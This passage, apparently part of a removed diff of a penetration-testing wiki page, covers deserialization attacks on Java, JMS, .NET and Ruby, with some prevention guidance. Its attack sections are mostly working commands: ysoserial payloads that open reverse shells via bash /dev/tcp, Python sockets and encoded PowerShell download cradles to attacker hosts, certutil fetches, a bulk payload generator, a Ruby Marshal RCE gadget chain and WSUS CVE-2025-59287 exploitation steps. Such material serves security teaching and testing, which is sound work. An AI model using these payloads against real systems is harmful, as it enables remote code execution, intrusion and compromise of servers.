-I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
-
-```bash
-# PoC to make the application perform a DNS req
-java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
-
-# PoC RCE in Windows
-# Ping
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
-# Time, I noticed the response too longer when this was used
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
-# Create File
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
-# DNS request
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
-# HTTP request (+DNS)
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
-## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
-## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
-# Reverse Shell
-## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
-
-#PoC RCE in Linux
-# Ping
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
-# Time
-## Using time in bash I didn't notice any difference in the timing of the response
-# Create file
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
-# DNS request
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
-# HTTP request (+DNS)
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
-# Reverse shell
-## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
-## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
-java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
-
-# Base64 encode payload in base64
-base64 -w0 payload
-```
-
-When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
-
-Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
-
-```python
-import os
-import base64
-
-# You may need to update the payloads
-payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
-def generate(name, cmd):
-    for payload in payloads:
-        final = cmd.replace('REPLACE', payload)
-        print 'Generating ' + payload + ' for ' + name + '...'
-        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
-        result = command.read()
-        command.close()
-        encoded = base64.b64encode(result)
-        if encoded != "":
-            open(name + '_intruder.txt', 'a').write(encoded + '\n')
-
-generate('Windows', 'ping -n 1 win.REPLACE.server.local')
-generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
-```
-
-#### serialkillerbypassgadgets
-
-You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
-
-#### marshalsec
-
-[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.\
-In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
-
-```html
-<dependency>
-		<groupId>javax.activation</groupId>
-		<artifactId>activation</artifactId>
-		<version>1.1.1</version>
-</dependency>
-
-<dependency>
-		<groupId>com.sun.jndi</groupId>
-		<artifactId>rmiregistry</artifactId>
-		<version>1.2.1</version>
-		<type>pom</type>
-</dependency>
-```
-
-**Install maven**, and **compile** the project:
-
-```bash
-sudo apt-get install maven
-mvn clean package -DskipTests
-```
-
-#### FastJSON
-
-Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
-
-### Labs
-
-- If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
-- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
-
-### Why
-
-Java uses a lot serialization for various purposes like:
-
-- **HTTP requests**: Serialization is widely employed in the management of parameters, ViewState, cookies, etc.
-- **RMI (Remote Method Invocation)**: The Java RMI protocol, which relies entirely on serialization, is a cornerstone for remote communication in Java applications.
-- **RMI over HTTP**: This method is commonly used by Java-based thick client web applications, utilizing serialization for all object communications.
-- **JMX (Java Management Extensions)**: JMX utilizes serialization for transmitting objects over the network.
-- **Custom Protocols**: In Java, the standard practice involves the transmission of raw Java objects, which will be demonstrated in upcoming exploit examples.
-
-### Prevention
-
-#### Transient objects
-
-A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example:
-
-```java
-public class myAccount implements Serializable
-{
-    private transient double profit; // declared transient
-    private transient double margin; // declared transient
-```
-
-#### Avoid Serialization of a class that need to implements Serializable
-
-In scenarios where certain **objects must implement the `Serializable`** interface due to class hierarchy, there's a risk of unintentional deserialization. To prevent this, ensure these objects are non-deserializable by defining a `final` `readObject()` method that consistently throws an exception, as shown below:
-
-```java
-private final void readObject(ObjectInputStream in) throws java.io.IOException {
-    throw new java.io.IOException("Cannot be deserialized");
-}
-```
-
-#### **Enhancing Deserialization Security in Java**
-
-**Customizing `java.io.ObjectInputStream`** is a practical approach for securing deserialization processes. This method is suitable when:
-
-- The deserialization code is under your control.
-- The classes expected for deserialization are known.
-
-Override the **`resolveClass()`** method to limit deserialization to allowed classes only. This prevents deserialization of any class except those explicitly permitted, such as in the following example that restricts deserialization to the `Bicycle` class only:
-
-```java
-// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
-public class LookAheadObjectInputStream extends ObjectInputStream {
-
-    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
-        super(inputStream);
-    }
-
-    /**
-    * Only deserialize instances of our expected Bicycle class
-    */
-    @Override
-    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
-        if (!desc.getName().equals(Bicycle.class.getName())) {
-            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
-        }
-        return super.resolveClass(desc);
-    }
-}
-```
-
-**Using a Java Agent for Security Enhancement** offers a fallback solution when code modification isn't possible. This method applies mainly for **blacklisting harmful classes**, using a JVM parameter:
-
-```
--javaagent:name-of-agent.jar
-```
-
-It provides a way to secure deserialization dynamically, ideal for environments where immediate code changes are impractical.
-
-Check and example in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
-
-**Implementing Serialization Filters**: Java 9 introduced serialization filters via the **`ObjectInputFilter`** interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process.
-
-To utilize serialization filters, you can set a global filter that applies to all deserialization operations or configure it dynamically for specific streams. For example:
-
-```java
-ObjectInputFilter filter = info -> {
-    if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
-    if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
-    if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
-        return Status.REJECTED; // Restrict to allowed classes
-    }
-    return Status.ALLOWED;
-};
-ObjectInputFilter.Config.setSerialFilter(filter);
-```
-
-**Leveraging External Libraries for Enhanced Security**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
-
-- **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code.
-- **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
-- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
-
-### References
-
-- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
-- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
-- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
-- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
-- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
-- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
-- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
-- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
-- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
-
-## JNDI Injection & log4Shell
-
-Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
-
-
-{{#ref}}
-jndi-java-naming-and-directory-interface-and-log4shell.md
-{{#endref}}
-
-## JMS - Java Message Service
-
-> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
-
-### Products
-
-There are several products using this middleware to send messages:
-
-![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
-
-![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>)
-
-### Exploitation
-
-So, basically there are a **bunch of services using JMS on a dangerous way**. Therefore, if you have **enough privileges** to send messages to this services (usually you will need valid credentials) you could be able to send **malicious objects serialized that will be deserialized by the consumer/subscriber**.\
-This means that in this exploitation all the **clients that are going to use that message will get infected**.
-
-You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.
-
-The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.
-
-### References
-
-- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
-
-- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
-- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
-
-## .Net
-
-In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
-
-### Fingerprint
-
-#### WhiteBox
-
-The source code should be inspected for occurrences of:
-
-1. `TypeNameHandling`
-2. `JavaScriptTypeResolver`
-
-The focus should be on serializers that permit the type to be determined by a variable under user control.
-
-#### BlackBox
-
-The search should target the Base64 encoded string **AAEAAAD/////** or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, **JSON** or **XML** structures featuring `TypeObject` or `$type`.
-
-### ysoserial.net
-
-In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example.
-
-If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
-
-The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output`** and **`--plugin`.**
-
-- **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
-- **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
-- **`--output`** used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._
-- **`--plugin`** ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState
-
-#### More ysoserial.net parameters
-
-- `--minify` will provide a **smaller payload** (if possible)
-- `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case)
-- `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive)
-
-**ysoserial examples** to create exploits:
-
-```bash
-#Send ping
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
-
-#Timing
-#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
-
-#DNS/HTTP request
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
-
-#Reverse shell
-#Create shell command in linux
-echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
-#Create exploit using the created B64 shellcode
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
-```
-
-**ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\
-If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\
-This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
-
-```java
-            if (inputArgs.Test)
-                {
-                    try
-                    {
-                        SerializersHelper.JsonNet_deserialize(payload);
-                    }
-                    catch (Exception err)
-                    {
-                        Debugging.ShowErrors(inputArgs, err);
-                    }
-                }
-```
-
-This means that in order to test the exploit the code will call [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
-
-```java
-public static object JsonNet_deserialize(string str)
-    {
-        Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
-        {
-            TypeNameHandling = TypeNameHandling.Auto
-        });
-        return obj;
-    }
-```
-
-In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\
-Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create.
-
-### ViewState
-
-Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-__viewstate-parameter.md)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](exploiting-__viewstate-knowing-the-secret.md)**.**
-
-### Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
-
-- Affected endpoints:
-  - `/SimpleAuthWebService/SimpleAuth.asmx` → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
-  - `/ReportingWebService.asmx` → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
-- Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).
-
-Minimal exploitation (Reporting path):
-1) Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
-
-```powershell
-# Reverse shell (EncodedCommand) via BinaryFormatter
-ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
-
-# Simple calc via SoapFormatter (test)
-ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
-```
-
-2) Craft SOAP for `ReportEventBatch` embedding the base64 gadget and POST it to `/ReportingWebService.asmx`.
-3) When an admin opens the WSUS console, the event is deserialized and the gadget fires (RCE as SYSTEM).
-
-AuthorizationCookie / GetCookie()
-- A forged AuthorizationCookie can be accepted, decrypted, and passed to a BinaryFormatter sink, enabling pre‑auth RCE if reachable.
-
-Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:
-
-```powershell
-$lhost = "192.168.49.51"
-$lport = 53
-$targetURL = "http://192.168.51.89:8530"
-```
-
-See [Windows Local Privilege Escalation – WSUS](../../windows-hardening/windows-local-privilege-escalation/README.md)
-
-### Prevention
-
-To mitigate the risks associated with deserialization in .Net:
-
-- **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.
-- **For `JSON.Net`, set `TypeNameHandling` to `None`:** `TypeNameHandling = TypeNameHandling.None`
-- **Avoid using `JavaScriptSerializer` with a `JavaScriptTypeResolver`.**
-- **Limit the types that can be deserialized**, understanding the inherent risks with .Net types, such as `System.IO.FileInfo`, which can modify server files' properties, potentially leading to denial of service attacks.
-- **Be cautious with types having risky properties**, like `System.ComponentModel.DataAnnotations.ValidationException` with its `Value` property, which can be exploited.
-- **Securely control type instantiation** to prevent attackers from influencing the deserialization process, rendering even `DataContractSerializer` or `XmlSerializer` vulnerable.
-- **Implement white list controls** using a custom `SerializationBinder` for `BinaryFormatter` and `JSON.Net`.
-- **Stay informed about known insecure deserialization gadgets** within .Net and ensure deserializers do not instantiate such types.
-- **Isolate potentially risky code** from code with internet access to avoid exposing known gadgets, such as `System.Windows.Data.ObjectDataProvider` in WPF applications, to untrusted data sources.
-
-### **References**
-
-- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
-- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
-- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
-
-## **Ruby**
-
-In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization.
-
-For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:
-
-- `config/environment.rb`
-- `config/initializers/secret_token.rb`
-- `config/secrets.yml`
-- `/proc/self/environ`
-
-**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
-
-```ruby
-#!/usr/bin/env ruby
-
-# Code from https://www.elttam.com/blog/ruby-deserialization/
-
-class Gem::StubSpecification
-  def initialize; end
-end
-
-
-stub_specification = Gem::StubSpecification.new
-stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
-
-puts "STEP n"
-stub_specification.name rescue nil
-puts
-
-
-class Gem::Source::SpecificFile
-  def initialize; end
-end
-
-specific_file = Gem::Source::SpecificFile.new
-specific_file.instance_variable_set(:@spec, stub_specification)
-
-other_specific_file = Gem::Source::SpecificFile.new
-
-puts "STEP n-1"
-specific_file <=> other_specific_file rescue nil
-puts
-
-
-$dependency_list= Gem::DependencyList.new
-$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
-
-puts "STEP n-2"
-$dependency_list.each{} rescue nil
-puts
-
-
-class Gem::Requirement
-  def marshal_dump
-    [$dependency_list]
-  end
-end
-
-payload = Marshal.dump(Gem::Requirement.new)
-
-puts "STEP n-3"
-Marshal.load(payload) rescue nil
-puts
-
-
-puts "VALIDATION (in fresh ruby process):"
-IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
-  pipe.print payload
-  pipe.close_write
-  puts pipe.gets
-  puts
-end
-
-puts "Payload (hex):"
-puts payload.unpack('H*')[0]
-puts
-
-
-require "base64"
-puts "Payload (Base64 encoded):"
-puts Base64.encode64(payload)
-```
-
-Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
-
-### Ruby .send() method
-
-As explained in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if some user unsanitized input reaches the `.send()` method of a ruby object, this method allows to **invoke any other method** of the object with any parameters.
-
-For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:
-
-```ruby
-<Object>.send('eval', '<user input with Ruby code>') == RCE
-```
-
-Moreover, if only one parameter of **`.send()`** is controlled by an attacker, as mentioned in the previous writeup, it's possible to call any method of the object that **doesn't need arguments** or whose arguments have **default values**.\
-For this, it's possible to enumerate all the methods of the object to **find some interesting methods that fulfil those requirements**.
-
-```ruby
-<Object>.send('<user_input>')
-
-# This code is taken from the original blog post
-# <Object> in this case is Repository
-## Find methods with those requirements
-repo = Repository.find(1)  # get first repo
-repo_methods = [           # get names of all methods accessible by Repository object
-  repo.public_methods(),
-  repo.private_methods(),
-  repo.protected_methods(),
-].flatten()
-
-repo_methods.length()      # Initial number of methods => 5542
-
-## Filter by the arguments requirements
-candidate_methods = repo_methods.select() do |method_name|
-  [0, -1].include?(repo.method(method_name).arity())
-end
-candidate_methods.length() # Final number of methods=> 3595
-```
-
-### Ruby class pollution
-
-Check how it could be possible to [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
-
-### Ruby _json pollution
-
-When sending in a body some values not hashabled like an array they will be added into a new key called `_json`. However, It’s possible for an attacker to also set in the body a value called `_json` with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the `_json` parameter to perform some action, an authorisation bypass could be performed.
-
-Check more information in the [Ruby _json pollution page](ruby-_json-pollution.md).
-
-### Other libraries
-
-This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
-
